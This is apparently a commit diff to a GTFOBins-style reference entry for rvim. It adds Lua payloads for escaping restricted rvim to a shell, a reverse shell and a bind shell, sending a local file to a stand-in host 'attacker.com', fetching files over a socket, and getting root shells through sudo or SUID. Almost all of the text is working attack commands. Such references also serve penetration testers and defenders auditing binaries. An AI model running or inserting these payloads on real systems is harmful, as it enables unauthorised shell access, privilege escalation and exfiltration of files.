Add Lua payloads to rvim

_gtfobins/rvim.md

@@ -3,6 +3,8 @@ functions:
   shell:
     - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
       code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
+    - description: This requires that `rvim` is compiled with Lua support.
+      code: rvim -c ':lua os.execute("reset; exec sh")'
   reverse-shell:
     - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
       code: |
@@ -13,6 +15,29 @@ functions:
         [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
         pty.spawn("/bin/sh")
         vim.command(":q!")'
+  non-interactive-reverse-shell:
+    - description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        rvim -c ':lua local s=require("socket"); local t=assert(s.tcp());
+          t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
+          while true do
+            local r,x=t:receive();local f=assert(io.popen(r,"r"));
+            local b=assert(f:read("*a"));t:send(b);
+          end;
+          f:close();t:close();'
+  non-interactive-bind-shell:
+    - description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
+      code: |
+        export LPORT=12345
+        rvim -c ':lua local k=require("socket");
+          local s=assert(k.bind("*",os.getenv("LPORT")));
+          local c=s:accept();
+          while true do
+            local r,x=c:receive();local f=assert(io.popen(r,"r"));
+            local b=assert(f:read("*a"));c:send(b);
+          end;c:close();f:close();'
   file-upload:
     - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
       code: |
@@ -31,6 +56,19 @@ functions:
         else: import SimpleHTTPServer as s, SocketServer as ss
         ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
         vim.command(":q!")'
+    - description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_send
+        rvim -c ':lua local f=io.open(os.getenv("LFILE"), 'rb')
+          local d=f:read("*a")
+          io.close(f);
+          local s=require("socket");
+          local t=assert(s.tcp());
+          t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
+          t:send(d);
+          t:close();'
   file-download:
     - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.
       code: |
@@ -41,6 +79,18 @@ functions:
         else: import urllib as r
         r.urlretrieve(e["URL"], e["LFILE"])
         vim.command(":q!")'
+    - description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.
+      code: |
+        export LPORT=12345
+        export LFILE=file_to_save
+        rvim -c ':lua local k=require("socket");
+          local s=assert(k.bind("*",os.getenv("LPORT")));
+          local c=s:accept();
+          local d,x=c:receive("*a");
+          c:close();
+          local f=io.open(os.getenv("LFILE"), "wb");
+          f:write(d);
+          io.close(f);'
   file-write:
     - description: This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3.
       code: |
@@ -59,7 +109,12 @@ functions:
   sudo:
     - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
       code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
+    - description: This requires that `rvim` is compiled with Lua support.
+      code: sudo rvim -c ':lua os.execute("reset; exec sh")'
   capabilities:
     - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
       code: ./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
+  limited-suid:
+    - description: This requires that `rvim` is compiled with Lua support.
+      code: ./rvim -c ':lua os.execute("reset; exec sh")'
 ---